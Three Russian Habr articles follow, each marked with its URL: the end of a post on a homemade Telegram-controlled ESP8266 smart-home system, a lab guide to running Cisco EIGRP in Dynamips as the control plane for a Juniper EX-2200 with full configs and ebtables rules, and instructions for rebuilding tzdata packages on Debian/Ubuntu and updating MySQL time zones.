### Реле
Также как и розетки, корпуса реле изготавливаются посредством 3д печати, наклейку также заказываю в типографии, с плоттерной резкой.
### Выключатель
Корпус выключателя тоже выполнен на 3д принтере, передняя часть сделана из акрила (белого оргстекла), на котором лазером выгравированы канавки в виде частей логотипа — шляпок гриба. Эти канавки заполняются акриловой краской. Белое оргстекло заказано на том же местном производстве.
Платы всех устройств заказываются на китайских производствах вроде allpcb, jlcpcb, pcbway и т.д., вместе с частичной сборкой, чтобы не тратить время на запаивание smd компонентов.
Демонстрация работы
-------------------
Итак, возможности системы:
* управление розетками и реле с получением ответа о состоянии,
* получение информации о температуре воздуха от MYEWWT,
* получение информации о влажности воздуха от MYEWWT,
* добавление и удаление из списка розеток и реле,
* возможность настраивать (связывать) выключатель с розеткой и реле,
* управление цветом сегментов часов,
* возможность делегировать другим пользователям права на управление системой,
* автоматическое обновление прошивки.
Также есть мысли о дополнениях, которые планирую ввести в ближайшее время:
* сделать возможность каждому устройству быть шлюзом: пользователю не нужно будет покупать MYEWWT, с помощью даже одной розетки будет возможность создать систему и управлять ей, подключая остальные устройства к главному.
* изменить клиента для загрузки прошивки на клиента с поддержкой SSL соединения,
* добавить проверку сертификатов, fingerprint и прочие дополнения для более безопасного соединения с Telegram,
* создать датчик открытия двери (начало уже положено).
Общение с ботом происходит путём нажатия кнопок встроенной клавиатуры, то есть не нужно писать сообщения, набирать текст, вручную вписывать команды через слеш. Всё максимально удобно и просто:
Скрины — примеры общения с ботом.основное менювторая часть менюуправление освещениемуправление розеткой и запрос температуры и влажностинастройка цвета сегментов часовнастройка розетки и управление ейнастройка яркости сегментов часовнастройка выключателяделегирование прав доступа другим пользователямИтоги и рефлексия
-----------------
Опишу основные плюсы и минусы проекта на данном этапе.
Плюсы:
* проект существует, а не остался идеей на бумаге,
* реализована большая часть задуманного функционала,
* реализован интерфейс и возможности, позволяющие обычному человеку, далекому от сферы IT комфортно пользоваться устройствами и всем проектом,
* используется относительно неплохой протокол связи,
* применены основы безопасного соединения,
* приборы стабильно работают, бот стабильно отрабатывает все команды,
* присутствует ключевая привлекающая особенность — использование Telegram,
* предусмотрена возможность масштабирования и создания новых устройств,
* предусмотрена возможность доработки прошивки и участия любого заинтересовавшегося человека путём создания open source репозитория на github,
* есть возможность добавить поддержку MQTT, поддержку голосового помощника Алиса и осуществить интеграцию с прочими ресурсами,
* есть первые продажи, есть перспектива коммерческой востребованности,
* стоимость компонентов позволяет создавать качественные и бюджетные устройства.
Последние два пункта — лишь до недавнего времени: последние мировые события, к сожалению, сильно повлияли на стоимость компонентов, лишили возможности их оперативного заказа, наличия в местных магазинах.
Минусы и спорные моменты:
* устройства печатаются на 3д принтере, уступая внешнему виду устройств конкурентов, производящихся на заводах большими партиями,
* потребление даже в режиме Power-Down выше чем у современных чипов для IoT, например BLE,
* ESP8266 — устаревший по всем направлениям чип, имеющий множество недостатков.
* связь с Telegram через http медленнее, чем использование mqtt (но предусмотрена возможность добавления поддержки mqtt),
* весь мир движется в сторону ZigBee и Matter, лишая смысла использование альтернативных протоколов, тем более такого как ESP-NOW.
Хотя... :)Предполагая некоторые комментарии, напишу некоторые вещи сразу:
* Miss You Even When We're Together — название, вдохновлённое платформами SpaceX Илона Маска,
* название grib technology и логотип — просто ради красоты :) Да и «устройства от Глеб Жуков» звучит не так презентабельно и убедительно.
Есть ли будущее у данного проекта — очень спорно. Возможно, новые продажи и ресурсы приведут к развитию, созданию более качественных устройств, плавному подходу к созданию MVP и инвестициям, но опять же, последние события лишают надежды заниматься подобным...
Да и будем смотреть правде в глаза: для действительно серьёзных и больших проектов, скорее всего, нужны большие команды людей, либо целые компании с опытом создания. Я же обычный студент, причём, обучающийся даже не в сфере IT. Закончу писать статью и буду искать хоть какую-то работу :)
Этот проект — своего рода хобби, с замахом на то, чтобы стать полезным и интересным для людей, принести людям удобство и пользу, а мне ресурсы для продолжения его развития и совершенствования.
Буду несказанно благодарен любым комментариям, советам, предложениям, дополнениям.
Надеюсь, кому-нибудь эта статья будет полезна, может быть даже замотивирует заниматься программированием и электроникой — тоже буду очень рад.
Все исходники, прошивки, схемы, инструкции можете найти на [github](https://github.com/grib-technology). Спасибо! | https://habr.com/ru/post/655133/ | null | ru | null |
# Как украсть control plane или приготовление EIGRP для Juniper
Как известно, SDN первоначально определялось как возможность физического разделения control и data plane. Хочу показать реализацию этой идеи без openflow и специальных контроллеров. В качестве control plane будет выступать отладочная плата [ODROID-C1](http://habrahabr.ru/post/247337/) с IOS запущеным внутри Dynamips. Как data plane выступает Juniper EX-2200.
На плате будет работать протокол EIGRP, строить таблицу маршрутизации, а коммутатор на основании этой таблицы пересылать данные.
Сначала объясню почему такой выбор:
1. EIGRP широко известный протокол, полноценно реализованый только на устройствах cisco
2. Juniper — т.к. второй по популярности вендор
3. Juniper EX-2200 — самая младшая модель, так что метод будет работать со всеми более старшими
4. ODROID-C1 был в своё время выбран из-за «честной» 1G сетевой карты (можно использовать любой сервер с linux).
5. EX-2200 — по ширине меньше юнита, и в свободное место полностью помещается отладочная плата, так что вся конструкция помещается в 1U и не требует дополнительного места в стойке
Как это будет работать в 2х словах:
есть сеть построеная на оборудовании cisco, протокол маршрутизации EIGRP. Добавляем коммутатор Juniper EX-2200, соединяем его так «как нужно»(т.е. как боевой маршрутизатор). В Коммутатор включаем отладочную плату с Dynamips, перенаправляем в неё весь служебный трафик протокола маршрутизации. Виртуальная cisco строит таблицу маршрутизации и через redistribute отдаёт её коммутатору. В итоге весь трафик с данными будет пересылаться по таблице маршрутизации построенной протоколом EIGRP.
Итак, тестовая схема:
для простоты, сети нанесены на линки, а последний октет адреса всегда совпадает с номером устройства.
конфигурации для цисок:
**R10 - Cisco 2811**R10#sho running-config
Building configuration…
Current configuration: 1006 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname R10
!
boot-start-marker
boot-end-marker
!
!
no aaa new-model
!
resource policy
!
ip subnet-zero
!
!
ip cef
!
!
!
voice-card 0
no dspfarm
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
interface FastEthernet0/0
description S2
ip address 10.2.0.10 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet0/1
description K15-ge0/0/8
no ip address
duplex auto
speed auto
!
interface FastEthernet0/1.1010
encapsulation dot1Q 1010
ip address 10.10.0.10 255.255.255.0
no snmp trap link-status
!
interface FastEthernet0/0/0
!
interface FastEthernet0/0/1
!
interface FastEthernet0/0/2
!
interface FastEthernet0/0/3
!
interface Vlan1
no ip address
!
router eigrp 1
network 0.0.0.0
auto-summary
!
ip classless
!
!
ip http server
no ip http secure-server
!
!
!
!
control-plane
!
!
!
!
!
!
!
!
!
line con 0
line aux 0
line vty 0 4
login
!
scheduler allocate 20000 1000
!
end
R10#
**R11 - Cisco 2851**R11#sho running-config
Building configuration…
Current configuration: 897 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname R11
!
boot-start-marker
boot-end-marker
!
!
no aaa new-model
!
resource policy
!
ip subnet-zero
!
!
ip cef
!
!
!
!
!
!
!
!
!
!
!
interface GigabitEthernet0/0
description R12-gi0/2
ip address 10.12.1.11 255.255.255.0
duplex auto
speed auto
no mop enabled
!
interface GigabitEthernet0/1
description K15-ge0/0/9
no ip address
duplex auto
speed auto
!
interface GigabitEthernet0/1.1011
description K15
encapsulation dot1Q 1011
ip address 10.11.0.11 255.255.255.0
no snmp trap link-status
!
router eigrp 1
network 0.0.0.0
no auto-summary
!
ip classless
!
no ip http server
no ip http secure-server
!
snmp-server community public RO
!
!
control-plane
!
!
!
line con 0
line aux 0
line vty 0 4
password cisco
login
!
scheduler allocate 20000 1000
!
end
R11#
**R12 - WS-C3560-48TS**R12#sho running-config
Building configuration…
Current configuration: 2289 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
service unsupported-transceiver
!
hostname R12
!
!
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
!
!
!
no errdisable detect cause gbic-invalid
!
!
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
!
!
!
interface FastEthernet0/1
!
interface FastEthernet0/2
!
interface FastEthernet0/3
!
interface FastEthernet0/4
!
interface FastEthernet0/5
!
interface FastEthernet0/6
!
interface FastEthernet0/7
!
interface FastEthernet0/8
!
interface FastEthernet0/9
!
interface FastEthernet0/10
!
interface FastEthernet0/11
!
interface FastEthernet0/12
!
interface FastEthernet0/13
!
interface FastEthernet0/14
!
interface FastEthernet0/15
!
interface FastEthernet0/16
!
interface FastEthernet0/17
!
interface FastEthernet0/18
!
interface FastEthernet0/19
!
interface FastEthernet0/20
!
interface FastEthernet0/21
!
interface FastEthernet0/22
!
interface FastEthernet0/23
!
interface FastEthernet0/24
!
interface FastEthernet0/25
!
interface FastEthernet0/26
!
interface FastEthernet0/27
!
interface FastEthernet0/28
!
interface FastEthernet0/29
!
interface FastEthernet0/30
!
interface FastEthernet0/31
!
interface FastEthernet0/32
!
interface FastEthernet0/33
!
interface FastEthernet0/34
!
interface FastEthernet0/35
!
interface FastEthernet0/36
!
interface FastEthernet0/37
!
interface FastEthernet0/38
!
interface FastEthernet0/39
!
interface FastEthernet0/40
!
interface FastEthernet0/41
!
interface FastEthernet0/42
!
interface FastEthernet0/43
!
interface FastEthernet0/44
!
interface FastEthernet0/45
!
interface FastEthernet0/46
!
interface FastEthernet0/47
!
interface FastEthernet0/48
!
interface GigabitEthernet0/1
no switchport
ip address 10.12.2.12 255.255.255.0
!
interface GigabitEthernet0/2
no switchport
ip address 10.12.1.12 255.255.255.0
!
interface GigabitEthernet0/3
no switchport
ip address 10.3.0.12 255.255.255.0
!
interface GigabitEthernet0/4
!
interface Vlan1
no ip address
!
router eigrp 1
network 0.0.0.0
!
ip classless
ip http server
ip http secure-server
!
!
!
control-plane
!
!
line con 0
line vty 0 4
login
line vty 5 15
login
!
end
R12#
**R14 - WS-C3560-24TS**R14#sho running-config
Building configuration…
Current configuration: 1805 bytes
!
version 12.2
no service pad
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
service unsupported-transceiver
!
hostname R14
!
!
no aaa new-model
system mtu routing 1500
vtp mode transparent
ip subnet-zero
ip routing
!
!
!
!
!
!
no errdisable detect cause sfp-config-mismatch
no errdisable detect cause gbic-invalid
no file verify auto
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
vlan 100,200,300
!
!
interface FastEthernet0/1
!
interface FastEthernet0/2
!
interface FastEthernet0/3
!
interface FastEthernet0/4
!
interface FastEthernet0/5
!
interface FastEthernet0/6
!
interface FastEthernet0/7
!
interface FastEthernet0/8
!
interface FastEthernet0/9
!
interface FastEthernet0/10
!
interface FastEthernet0/11
!
interface FastEthernet0/12
!
interface FastEthernet0/13
!
interface FastEthernet0/14
!
interface FastEthernet0/15
!
interface FastEthernet0/16
!
interface FastEthernet0/17
!
interface FastEthernet0/18
!
interface FastEthernet0/19
!
interface FastEthernet0/20
!
interface FastEthernet0/21
!
interface FastEthernet0/22
!
interface FastEthernet0/23
!
interface FastEthernet0/24
no switchport
ip address 10.4.0.14 255.255.255.0
!
interface GigabitEthernet0/1
description K15-ge0/1/0
no switchport
ip address 10.14.0.14 255.255.255.0
!
interface GigabitEthernet0/2
description r12-gi0/1
no switchport
ip address 10.12.2.14 255.255.255.0
!
interface Vlan1
no ip address
shutdown
!
router eigrp 1
network 0.0.0.0
no auto-summary
!
ip classless
ip http server
ip http secure-server
!
!
ip access-list standard public
!
!
control-plane
!
!
line con 0
exec-timeout 0 0
line vty 0 4
password cisco
login
line vty 5 15
password cisco
login
!
end
R14#
Настраиваем коммутатор:
**K15 - Juniper EX-2200**root@K15# show
version 13.2X50-D15.3;
interfaces {
interface-range tagget-ports {
member «ge-0/0/[4-11]»;
unit 0 {
family ethernet-switching {
port-mode trunk;
vlan {
members [ v-R11 v-R10 ];
}
filter {
input cisco;
}
}
}
}
ge-0/0/0 {
description odroid-mgmt;
unit 0 {
family ethernet-switching {
port-mode access;
vlan {
members v-odroid-mgmt;
}
}
}
}
ge-0/0/1 {
description odroid-c1;
unit 0 {
family ethernet-switching {
port-mode trunk;
vlan {
members [ v-R14 v-R11 v-R10 v-S1 v-analyzer ];
}
native-vlan-id v-odroid-mgmt;
}
}
}
ge-0/0/2 {
description S1;
unit 0 {
family ethernet-switching {
port-mode access;
vlan {
members v-S1;
}
filter {
input cisco;
}
}
}
}
ge-0/0/8 {
description R10;
}
ge-0/0/9 {
description R11;
}
ge-0/1/0 {
description R14;
unit 0 {
family ethernet-switching {
port-mode access;
vlan {
members v-R14;
}
filter {
input cisco;
}
}
}
}
ge-0/1/1 {
unit 0 {
family ethernet-switching;
}
}
vlan {
unit 1001 {
family inet {
address 10.1.0.15/24;
}
}
unit 1010 {
family inet {
address 10.10.0.15/24;
}
}
unit 1011 {
family inet {
address 10.11.0.15/24;
}
}
unit 1014 {
family inet {
address 10.14.0.15/24;
}
}
}
}
firewall {
family ethernet-switching {
filter cisco {
term eigrp {
from {
protocol 88;
}
then {
accept;
analyzer cisco;
}
}
term others {
then accept;
}
}
}
}
ethernet-switching-options {
analyzer cisco {
output {
vlan {
v-analyzer;
}
}
}
dot1q-tunneling {
ether-type 0x8100;
}
}
vlans {
v-R10 {
vlan-id 1010;
l3-interface vlan.1010;
}
v-R11 {
vlan-id 1011;
l3-interface vlan.1011;
}
v-R14 {
vlan-id 1014;
l3-interface vlan.1014;
}
v-S1 {
vlan-id 1001;
l3-interface vlan.1001;
}
v-analyzer {
vlan-id 101;
dot1q-tunneling;
}
v-odroid-mgmt;
}
**K15 - Juniper EX-2200 - как набор комманд**set interfaces interface-range tagget-ports member «ge-0/0/[4-11]»
set interfaces interface-range tagget-ports unit 0 family ethernet-switching port-mode trunk
set interfaces interface-range tagget-ports unit 0 family ethernet-switching vlan members v-R11
set interfaces interface-range tagget-ports unit 0 family ethernet-switching vlan members v-R10
set interfaces interface-range tagget-ports unit 0 family ethernet-switching filter input cisco
set interfaces ge-0/0/0 description odroid-mgmt
set interfaces ge-0/0/0 unit 0 family ethernet-switching port-mode access
set interfaces ge-0/0/0 unit 0 family ethernet-switching vlan members v-odroid-mgmt
set interfaces ge-0/0/1 description odroid-c1
set interfaces ge-0/0/1 unit 0 family ethernet-switching port-mode trunk
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-R14
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-R11
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-R10
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-S1
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-analyzer
set interfaces ge-0/0/1 unit 0 family ethernet-switching native-vlan-id v-odroid-mgmt
set interfaces ge-0/0/2 description S1
set interfaces ge-0/0/2 unit 0 family ethernet-switching port-mode access
set interfaces ge-0/0/2 unit 0 family ethernet-switching vlan members v-S1
set interfaces ge-0/0/2 unit 0 family ethernet-switching filter input cisco
set interfaces ge-0/0/8 description R10
set interfaces ge-0/0/9 description R11
set interfaces ge-0/1/0 description R14
set interfaces ge-0/1/0 unit 0 family ethernet-switching port-mode access
set interfaces ge-0/1/0 unit 0 family ethernet-switching vlan members v-R14
set interfaces ge-0/1/0 unit 0 family ethernet-switching filter input cisco
set interfaces ge-0/1/1 unit 0 family ethernet-switching
set interfaces vlan unit 1001 family inet address 10.1.0.15/24
set interfaces vlan unit 1010 family inet address 10.10.0.15/24
set interfaces vlan unit 1011 family inet address 10.11.0.15/24
set interfaces vlan unit 1014 family inet address 10.14.0.15/24
set firewall family ethernet-switching filter cisco term eigrp from protocol 88
set firewall family ethernet-switching filter cisco term eigrp then accept
set firewall family ethernet-switching filter cisco term eigrp then analyzer cisco
set firewall family ethernet-switching filter cisco term others then accept
set ethernet-switching-options analyzer cisco output vlan v-analyzer
set ethernet-switching-options dot1q-tunneling ether-type 0x8100
set vlans v-R10 vlan-id 1010
set vlans v-R10 l3-interface vlan.1010
set vlans v-R11 vlan-id 1011
set vlans v-R11 l3-interface vlan.1011
set vlans v-R14 vlan-id 1014
set vlans v-R14 l3-interface vlan.1014
set vlans v-S1 vlan-id 1001
set vlans v-S1 l3-interface vlan.1001
set vlans v-analyzer vlan-id 101
set vlans v-analyzer dot1q-tunneling
set vlans v-odroid-mgmt
для перенаправления служебного трафика используется зеркалирование порта во ВЛАН с наложеным фильтром по IP протоколу (EIGRP).
на отладочной плате установлен Dynamyps и Dynagen,
собирал из исходников, эмулировалась 7200.
**Dynagen**[localhost]
[[7200]]
image = /opt/dgen/c7200-adventerprisek9-mz.124-4.T4.image
npe = npe-400
npe2 = npe-400
ram = 160
[[ROUTER R1]]
f0/0 = NIO\_tap:tap0
f0/1 = NIO\_tap:tap1
f1/1 = NIO\_tap:tap2
R15 (виртуальная cisco)
**cisco7200 - R15**R15#sho running-config
Building configuration…
Current configuration: 1203 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname R15
!
boot-start-marker
boot-end-marker
!
!
no aaa new-model
!
resource policy
!
ip subnet-zero
ip cef
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
interface FastEthernet0/0
no ip address
duplex auto
speed auto
no mop enabled
!
interface FastEthernet0/0.1010
description R10
encapsulation dot1Q 1010
ip address 10.10.0.15 255.255.255.0
no snmp trap link-status
!
interface FastEthernet0/0.1011
description R11
encapsulation dot1Q 1011
ip address 10.11.0.15 255.255.255.0
no snmp trap link-status
!
interface FastEthernet0/1
description S1
ip address 10.1.0.15 255.255.255.0
duplex auto
speed auto
!
interface FastEthernet1/0
no ip address
duplex auto
speed auto
!
interface FastEthernet1/1
description R14
ip address 10.14.0.15 255.255.255.0
duplex auto
speed auto
!
router eigrp 1
network 0.0.0.0
auto-summary
!
ip classless
no ip http server
no ip http secure-server
!
!
!
logging alarm informational
!
!
!
!
control-plane
!
!
!
!
!
!
gatekeeper
shutdown
!
!
line con 0
stopbits 1
line aux 0
stopbits 1
line vty 0 4
login
!
!
end
R15#en
таким образом получается прямое соответствие интерфейсов между K15 и R15:
*vlan.1001 — fa0/1
vlan.1010 — fa0/1.1010
vlan.1011 — fa0/0.1011
vlan.1014 — fa1/1*
Теперь служебный трафик попадает в odroid с двойным тегом,
а ответы от нашего control plane должны уходить в К15 только с одним, «вторым» тегом.
для этого стоим linux bridges:
```
ip link add link eth0 v101 type vlan id 101
ip link add link eth0 vl1001 type vlan id 1001
ip link add link eth0 vl1014 type vlan id 1014
brctl addbr br0
brctl addif br0 v101
brctl addif br0 eth0
brctl addif br0 tap0
brctl addif br0 tap1
brctl addif br0 tap2
brctl addif br0 vl1001
brctl addif br0 vl1014
```
теперь нам нужно, чтоб пакеты передавались по логике показаной на рисунке стрелочками, и больше никак.
для этого переведём бридж в режим хаба (перестаёт изучать маки):
```
brctl setageing br0 0
```
и фильтруем всё лишнее:
```
ebtables -A FORWARD -i tap0 -o eth0 -j ACCEPT
ebtables -A FORWARD -i tap1 -o vl1001 -j ACCEPT
ebtables -A FORWARD -i tap2 -o vl1014 -j ACCEPT
ebtables -A FORWARD -i v101 -o tap1 -p ipv4 --ip-source 10.1.0.0/24 -j ACCEPT
ebtables -A FORWARD -i v101 -o tap2 -p ipv4 --ip-source 10.14.0.0/24 -j ACCEPT
ebtables -A FORWARD -i v101 -o tap0 -p 802_1q -j ACCEPT
ebtables -P FORWARD DROP
```
в этом месте сталкиваемся с тем, что К15 и R15 имеют одинаковые IP адреса, но разные MAC адреса,
что приводит к интересным проблемам, решаем это тоже с помощью ebtables, для начала узнаем мак с которым работает К15:
```
root@K15> show ethernet-switching table | match router
v-R10 78:fe:3d:11:22:33 Static - Router
v-R11 78:fe:3d:11:22:33 Static - Router
v-R14 78:fe:3d:11:22:33 Static - Router
v-S1 78:fe:3d:11:22:33 Static - Router
```
теперь нам надо, чтоб все пакеты уходили с этим маком:
```
ebtables -t nat -A POSTROUTING -o eth0 -j snat --to-src 78:fe:3d:11:22:33 --snat-arp --snat-target ACCEPT
ebtables -t nat -A POSTROUTING -o vl1001 -j snat --to-src 78:fe:3d:11:22:33 --snat-arp --snat-target ACCEPT
ebtables -t nat -A POSTROUTING -o vl1014 -j snat --to-src 78:fe:3d:11:22:33 --snat-arp --snat-target ACCEPT
```
Всё, наша «control plane» построила RIB:
```
R15#show ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route
Gateway of last resort is not set
10.0.0.0/24 is subnetted, 9 subnets
C 10.10.0.0 is directly connected, FastEthernet0/0.1010
C 10.11.0.0 is directly connected, FastEthernet0/0.1011
C 10.14.0.0 is directly connected, FastEthernet1/1
D 10.12.2.0 [90/28416] via 10.14.0.14, 00:53:32, FastEthernet1/1
D 10.12.1.0 [90/28416] via 10.11.0.11, 00:53:32, FastEthernet0/0.1011
D 10.2.0.0 [90/30720] via 10.10.0.10, 00:28:41, FastEthernet0/0.1010
D 10.3.0.0 [90/28672] via 10.14.0.14, 00:08:31, FastEthernet1/1
[90/28672] via 10.11.0.11, 00:08:31, FastEthernet0/0.1011
C 10.1.0.0 is directly connected, FastEthernet0/1
D 10.4.0.0 [90/30720] via 10.14.0.14, 00:03:09, FastEthernet1/1
R15#
```
теперь нам надо передать эту маршрутную информацию на Juniper,
для этого воспользуемся OSPF и [особенностями его реализации у default вендора.](http://habrahabr.ru/post/195610/)
Также добавляем линк и интерфейсы для обмена информацией между R15 и K15:
К15
```
set vlans v-cplane vlan-id 4000 l3-interface vlan.4000
set interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members v-cplane
set interfaces vlan.4000 family inet address 100.65.127.129/30
set protocols ospf area 0.0.0.0 interface vlan.4000 hello-interval 1 dead-interval 4
set protocols ospf area 0.0.0.0 interface vlan.1001 passive
set protocols ospf area 0.0.0.0 interface vlan.1010 passive
set protocols ospf area 0.0.0.0 interface vlan.1011 passive
set protocols ospf area 0.0.0.0 interface vlan.1014 passive
```
R15
```
R15>en
R15#conf t
R15(config)#interface fa0/0.4000
R15(config-subif)#encapsulation dot1Q 4000
R15(config-subif)#ip address 100.65.127.130 255.255.255.252
R15(config-subif)#ip ospf hello-interval 1
R15(config-subif)#ip ospf dead-interval 4
R15(config-subif)#exit
R15(config)#router eigrp 1
R15(config-router)#no auto-summary
R15(config-router)#exit
R15(config)#router ospf 1
R15(config-router)#network 0.0.0.0 0.0.0.0 area 0
R15(config-router)#redistribute eigrp 1 subnets
R15(config-router)#end
R15#
```
Добавляем правила в ebtables, чтоб трафик в 4000-ом ВЛАНе проходил без изменений.
добавить надо в начало цепочки.
```
ebtables -t nat -A POSTROUTING -p 802_1Q --vlan-id 4000 -j ACCEPT
ebtables -A FORWARD -i eth0 -o tap0 -p 802_1q --vlan-id 4000 -j ACCEPT
```
Проверяем наличие нужных маршрутов в RIB на K15:
```
root@K15> show route
inet.0: 16 destinations, 16 routes (16 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
10.1.0.0/24 *[Direct/0] 02:59:01
> via vlan.1001
10.1.0.15/32 *[Local/0] 1d 03:21:44
Local via vlan.1001
10.2.0.0/24 *[OSPF/150] 00:13:16, metric 20, tag 0
> to 10.10.0.10 via vlan.1010
10.3.0.0/24 *[OSPF/150] 00:13:16, metric 20, tag 0
> to 10.14.0.14 via vlan.1014
10.4.0.0/24 *[OSPF/150] 00:13:16, metric 20, tag 0
> to 10.14.0.14 via vlan.1014
10.10.0.0/24 *[Direct/0] 1d 03:21:26
> via vlan.1010
10.10.0.15/32 *[Local/0] 1d 03:21:44
Local via vlan.1010
10.11.0.0/24 *[Direct/0] 1d 03:21:26
> via vlan.1011
10.11.0.15/32 *[Local/0] 1d 03:21:44
Local via vlan.1011
10.12.1.0/24 *[OSPF/150] 00:13:16, metric 20, tag 0
> to 10.11.0.11 via vlan.1011
10.12.2.0/24 *[OSPF/150] 00:13:16, metric 20, tag 0
> to 10.14.0.14 via vlan.1014
10.14.0.0/24 *[Direct/0] 1d 03:21:27
> via vlan.1014
10.14.0.15/32 *[Local/0] 1d 03:21:44
Local via vlan.1014
100.65.127.128/30 *[Direct/0] 01:01:08
> via vlan.4000
100.65.127.129/32 *[Local/0] 01:01:08
Local via vlan.4000
224.0.0.5/32 *[OSPF/10] 01:01:09, metric 1
MultiRecv
```
маршруты на месте, все сервера пингуются.
запускаем iperf и прокачиваем трафик между S1-S3 и S2-S4:
```
root@S3:~# iperf -c 10.1.0.1 -t 10 -d
------------------------------------------------------------
Server listening on TCP port 5001
TCP window size: 85.3 KByte (default)
------------------------------------------------------------
------------------------------------------------------------
Client connecting to 10.1.0.1, TCP port 5001
TCP window size: 413 KByte (default)
------------------------------------------------------------
[ 5] local 10.3.0.3 port 33375 connected with 10.1.0.1 port 5001
[ 4] local 10.3.0.3 port 5001 connected with 10.1.0.1 port 51122
[ ID] Interval Transfer Bandwidth
[ 5] 0.0-10.0 sec 1.09 GBytes 939 Mbits/sec
[ 4] 0.0-10.0 sec 1.08 GBytes 928 Mbits/sec
```
```
root@S4:~# iperf -c 10.2.0.2 -t 10 -d
------------------------------------------------------------
Server listening on TCP port 5001
TCP window size: 85.3 KByte (default)
------------------------------------------------------------
------------------------------------------------------------
Client connecting to 10.2.0.2, TCP port 5001
TCP window size: 82.5 KByte (default)
------------------------------------------------------------
[ 5] local 10.4.0.4 port 59485 connected with 10.2.0.2 port 5001
[ 4] local 10.4.0.4 port 5001 connected with 10.2.0.2 port 41829
[ ID] Interval Transfer Bandwidth
[ 5] 0.0-10.0 sec 111 MBytes 92.5 Mbits/sec
[ 4] 0.0-10.3 sec 102 MBytes 83.2 Mbits/sec
```
убеждаемcя, что обычный трафик бегает wire speed.
при этом в течении всего времени тестирования соседство по EIGRP не разрывается.
вот и получилось, то чего хотели.
недостатки:
1. не рассмотрена агрегация линков.
2. рассмотрен вариант только для RVI (Routed VLAN Interface).
3. не работает балансировка трафика, в коммутатор отдаётся только один маршрут.
4. медленная сходимость протокола маршрутизации, т.к. базируется только на hello пакетах (control plane не видит состояния порта и нет BFD)
5. примерно в 6-7 раз усложнённая конфигурация, т.к. вместо одного протокола на одном устройстве, настраиваем целый набор протоколов и правил фактически на 3х сущностях. | https://habr.com/ru/post/262047/ | null | ru | null |
# Обновление tzdata для России (системное и java в Ubuntu/Debian, а также в MySQL)
### Предисловие
Как многие помнят, в этом году был принят закон, в связи с которым поменялись часовые пояса в России с 26 октября 2014 г. Само собой, сразу после принятия закона я поставил в календарь напоминалку на начало октября «обязательно обновить tzdata». Каково же было моё удивление, когда я не обнаружил апдейтов tzdata в debian и ubuntu. Решил подождать еще немного, наткнулся на открытые баги в дистрибутивах (Ubuntu [#1377813](https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1377813), [#1371758](https://bugs.launchpad.net/ubuntu/+source/tzdata/+bug/1371758), Debian [#761267](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=761267)). Коллеги усиленно напоминали о необходимости апдейтов, но мейнтейнеры не реагировали. Чтобы не устроить себе аврал к концу месяца, решил собрать пакеты и проапдейтить вручную. Важно отметить, что информацию о зонах в некотором софте, например, в MySQL, потребуется обновить вручную. Далее последует короткий мануал.
### Ubuntu 12.04 / 14.04, Debian 7
К моменту, когда я решился собрать апдейты, в debian wheezy и почти сразу в ubuntu utopic появился пакет 2014h, поэтому я просто взял tzdata\_2014h-2.dsc, tzdata\_2014h.orig.tar.gz, tzdata\_2014h-2.debian.tar.xz и собрал без особых изменений.
Поставил компиляторы:
```
apt-get install devscripts dpkg-dev debhelper build-essential
```
Распаковал исходники:
```
dpkg-source -x tzdata_2014h-2.dsc
cd tzdata-2014h
```
Поставил зависимости, подправил версию и собрал:
```
apt-get install default-jre-headless rdfind symlinks
dch -i
dpkg-buildpackage -rfakeroot
cd ../
```
Осталось установить:
```
dpkg -i tzdata*deb
```
### Ubuntu 10.04, Debian 6
Алгоритм для старых дистрибутивов практически не отличается, разница лишь в том, что пакет rdfind отсутствует в дистрибутиве. Проще всего оказалось его собрать.
Исходники были взяты в debian [packages.debian.org/wheezy/rdfind](https://packages.debian.org/wheezy/rdfind), установлены зависимости и собран deb пакет.
```
dpkg-source -x rdfind_1.3.1-1.dsc
apt-get install nettle-dev
cd rdfind-1.3.0/
dpkg-buildpackage -rfakeroot
cd ../
dpkg -i rdfind*deb
```
### Обновление в MySQL
```
UPD: Не сработает, если time_zone = SYSTEM .
Решение без перезапуска - SET GLOBAL time_zone = 'Europe/Moscow'; или
SET GLOBAL time_zone = '+03:00' , если таблицы не обновлены;
```
После обновления системной tzdata нужно получить tzinfo для MySQL скриптом из комплекта:
```
mysql_tzinfo_to_sql /usr/share/zoneinfo > /tmp/tzinfo-mysql-2014h-2.sql
```
Далее, этот файлик заливаем в MySQL. Подключаемся с правами root, например, так:
```
mysql --defaults-file=/etc/mysql/debian.cnf
```
Выбираем базу, кодировку и файл:
```
use mysql
set names utf8;
source /tmp/tzinfo-mysql-2014h-2.sql
```
